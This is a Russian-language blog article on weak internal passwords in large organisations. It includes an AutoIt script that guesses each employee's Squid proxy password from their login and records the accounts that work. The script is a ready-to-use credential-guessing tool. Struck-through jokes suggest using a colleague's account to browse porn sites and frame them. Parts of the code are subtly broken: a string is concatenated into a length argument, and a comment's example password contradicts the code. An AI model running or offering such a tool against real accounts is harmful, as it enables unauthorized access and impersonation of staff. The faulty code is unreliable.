Нудное Краткое введение.
Как правило, при защите информации весь периметр безопасности строится снаружи. Наверное, логично т.к. основные угрозы идут именно оттуда. А ведь поиск уязвимостей снаружи – достаточно трудоемкое и творческое занятие, подразумевающее поиск дыр в php, SQL-иньекция, сетевые уязвимости, перебор пары миллиардов md5-хэшей и т.д.
При этом выпадает из рассмотрения возможность доступа к информации изнутри. Которая защищена как-правило значительно слабее. Видимо считается, что дыры если есть — то они все снаружи — т.к. внутри нечто монолитное и непробиваемое. Увы К счастью это не так (Информация даёт работу по обе стороны фронта). Ведь именно инсайдерская информация наиболее ценна во всех ракурсах и приобретает всё большую ценность.l
Итак. В своей небольшой статье я хочу слегка погрузить читателя в немного детский и наивный мир крупных организаций, где большинство верит в Деда Мороза слова: у нас всё очень хорошо и «кто изнутри будет ломать?».
Ситуация:
- Большая фирма (тысячи ПК)
- Наличие БД и ПО собственных или сторонних разработчиков
- Нет сквозной аутентификации между доменной учетной записью, БД и ПО. Т.е. десятки приложений – везде свой логин и пароль
Классические проблемы:
- В лохматых программах достаточно не очевидна и сложна смена пароля. Т.е. после заведения пользователя он продолжает пользоваться выданным ему паролем. Зачастую пользователь даже считает, что ТАК И НАДО. Лично использовал приложение от одной крупнейшей корпорации мира ежедневно по многу раз, и только через 2 года нашёл диалог, с предложением сменить пароль. До этого использовал стандартный пароль «12345»
- В больших фирмах большая текучка персонала. Ежегодная текучка в 10-30% персонала смешна для фирмы в 10, 20 или 50 человек. А если в фирме 1000 человек? Т.е. несколько сотен человек ежегодно увольняется и
конечнокак-правило доступ к домену блокируется. А как же другие приложения? - А если сотрудник не уволился, а перешел из одного подразделения в другое? Например бывший администратором домена и перешел в бизнес подразделение. Идеальный инсайдер, через которого можно получать всю интересующую информацию о фирме. Он не только знает, где лежит ключевая информация фирмы, но и как её достать
- Сотрудник уходит в очень долгий отпуск. Все ли помнят о необходимости блокировки доступа в этих случаях?
- Сотрудник никуда не увольняется и не переводится. Но использует в работе пароль "" (нет пароля) или «12345678»
- Все вышеприведенные проблемы можно помножить на человеческую халатность, лень и банальную перегрузку работой кадровой службы и iT, которым и без того текучки хватает.
В общем, итог из этого списка проблем — чем крупнее фирма, тем больше внутренних проблем в ней накапливается. Т.к. в маленьких как-правило всё завязано на домен, 1С и пары стандартных комплексов ПО
Решения (в идеальном случае)
- обучение пользователей («смысл? обучишь – завтра уволится» — ответ менеджмента)
- завязывать всё на домен и к доменной учетной записи (технически не всегда реализуемо, требует как-правило денег и ресурсов которые сложно обосновать)
- избавляться от клавиатурного пароля, с привязкой к материальному носителю (сложности при использовании специализированного ПО и «железа», а так же постоянное «ой — забыл дома» и борьба с этим – прикручивание скотчем аппаратного ключа к разъему считывателя)
- использовать «каптчу», ограничение попыток входа по числу попыток, ip-адресу и прочие творческие подходы в самописном ПО
Решения (на практике)
- ждать инцидента – затыкать конкретную дыру
- регулярный аудит периметра
Последний про-активный вариант, который я и хочу рассмотреть на практике. Общий алгоритм, который подойдет для большинства приложений:
- открываем список сотрудников
- открываем программу
- выбираем приложение для проверки
- вводим комбинации логинпароль пока не закончится список сотрудников и простых паролей
Согласитесь — ничего сложного, но достаточно трудоемкий процесс если делать его руками. Даже «сладость» победы — обнаружение 1,2, ну или 100 «плохишей» не даст ровным счетом ничего. Через несколько месяцев при повторной проверке придётся перелопачивать весь список + бонус в виде новых сотрудников. Нужно автоматизировать.
Писать можно на чем угодно. Лично я копий ломать не буду — ранее такие вещи делал на Delphi и VS но после случайного знакомства со скриптовым языком AutoIT остановился на нём. Эта штука просто создана для БЫСТРОГО написании щёлкающе-вводительных универсальных утилит. Т.е. когда нет цели считать 9^9^9 комбинаций в секунду хэшей, работать с API-приложением напрямую (особенно если оно под Citrix), а достаточно по реальному списку сотрудников пощёлкать в десятке разных приложений по нескольку комбинаций пароля — милое дело.
Как простейший пример в своей статье я хочу показать пример аудита доступа к интернету в организации.
Конкретный пример
Squid-proxy. Нет никаких ограничей на подбор пароля. Т.е. можно перебирать до посинения с большой скоростью логины ещё и параллельно. Но будем честны — результат в 1 минуту или несколько дней — не имеет значения. Скорость проверки одного пароля порядка 5 секунд на одну учетную запись нас устроит. Главное — отсутствие ручного труда и пока единственная в мире программа перебирающая пароли на Proxy-сервере — достаточно для успеха. Уходя вечером с работы, запускаем, утром пожинаем результат.
Результаты сканирования в своём случае не публикую, т.к. они оказались шокирующими печальными.
; (c) lokkii
; ProxyLoginChecker v. 0.1 be<s>b</s>ta
; 1) Файл с учетными записями (passwd) из Squid нужно подложить в Win-кодировке (по дефолту КОИ-8) в корень к данной программе
; 2) Программа выдаёт два файла: out.txt в который записываются логины, имеющие дефолтный пароль, сам пароль и ФИО, а так же log.txt в который записывается текущий прогресс в виде login:time
$file_in = FileOpen("passwd", 0) ; пробуем открыть файл с логинами на чтение
If $file_in = -1 Then MsgBox(0, "Error", "Не могу открыть файл passwd") Exit EndIf
$file_out = FileOpen("out.txt", 2) ; открываем файл на ЗАПИСЬ
If $file_out = -1 Then MsgBox(0, "Error", "Не могу открыть файл out.txt") Exit EndIf
$file_log = FileOpen("log.txt", 2) ; открываем файл на ЗАПИСЬ
If $file_log = -1 Then MsgBox(0, "Error", "Не могу открыть файл log.txt") Exit EndIf
; Последовательно считывать входной файл с логинами, пока он не кончится
While 1
$line = FileReadLine($file_in)
if @error = -1 Then ExitLoop
;обработка прочитанной строки из дефолтного файла squid
;пример строки:
;pupkin_pp:x:544:502:%Пупкин Петр Петрович:/dev/null:/dev/null
;конечный результат: $login = pupkin_pp
; $pwd = pup123
; $fio = Пупкин Петр Петрович
$login = StringLeft($line, StringInStr($line, ":x:")-1+”_Nov-filial”); "pupkin_pp_Nov-filial"
$pwd = StringLeft($login, 3) & “_”; “pup123"
$line = StringTrimLeft( $line, StringInStr($line, "502:")+3 ) ; Удалить всё перед фамилией
$line = StringTrimLeft( $line, StringInStr($line, "%")) ; Перед фамилией ещё иногда (но не всегда) встречается "%" - удалить
$fio = StringReplace ( $line, ":/dev/null:/dev/null", "") ; Удалить часть справа
$proxy = "192.168.0.1:8080"
HttpSetProxy ( 2 , $proxy , $login, $pwd);
$size = InetGetSize("http://любой сайт на котором в открытом доступе лежат файлы/файл.txt")
if $size == 33333 then FileWriteLine($file_out, $login & ";"& $pwd & ";" & $fio & @CRLF)
FileWriteLine($file_log, $login & ";" & @HOUR & ":" & @MIN & ":" & @SEC & @CRLF)
Wend
FileClose($file_in)
FileClose($file_out)
FileClose($file_log)
Выводы
Теперь можно жечь чужой трафик и лазить по порно-сайтам с ОСОБЫМ содержанием подставляя под удар своего коллегу, препятствующему карьерному росту сделать вывод о качестве паролей в целом по организации. И задуматься об организационных мерах по исправлению ситуации.
Спасибо за прочтение! Надеюсь, что статья была Вам интересна (пропущен был только исходный код), заставит задуматься и привнесёт новые идеи в Вашу работу
п.с. Я хоть и предпочитаю использовать в работе пароли типа «password», на точках доступа Wi-Fi «123456789» и т.д. Но тем не менее взываю — не делайте так!
Автор: i0t